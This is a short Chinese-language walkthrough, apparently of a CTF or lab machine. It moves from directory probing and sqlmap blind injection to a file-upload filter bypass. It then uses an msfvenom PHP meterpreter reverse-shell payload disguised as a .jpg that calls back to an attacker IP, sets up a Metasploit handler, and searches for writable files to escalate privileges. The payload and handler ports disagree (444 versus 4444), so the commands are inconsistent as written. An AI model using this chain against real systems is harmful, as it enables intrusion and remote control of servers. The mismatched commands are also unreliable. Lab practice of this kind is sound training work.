挨着尝试访问，最后/unisxcudkqjydw/ 这个比较有价值

尝试SQLmap盲注跑一波

尝试抓包：

上传PHP脚本文件，提示：After we got hacked we our allowing only image files to upload such as jpg , jpeg , bmp etc.

这是使用PHP反弹shell

╰─ msfvenom -p  php/meterpreter/reverse_tcp lhost=10.10.202.135 lport=444 -f raw > hack404.jpg

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set lhost 10.10.202.135

msf5 exploit(multi/handler) > set lport 4444

msf5 exploit(multi/handler) > show options

提权

寻找可写文件

find / -writable -type f 2>/dev/null
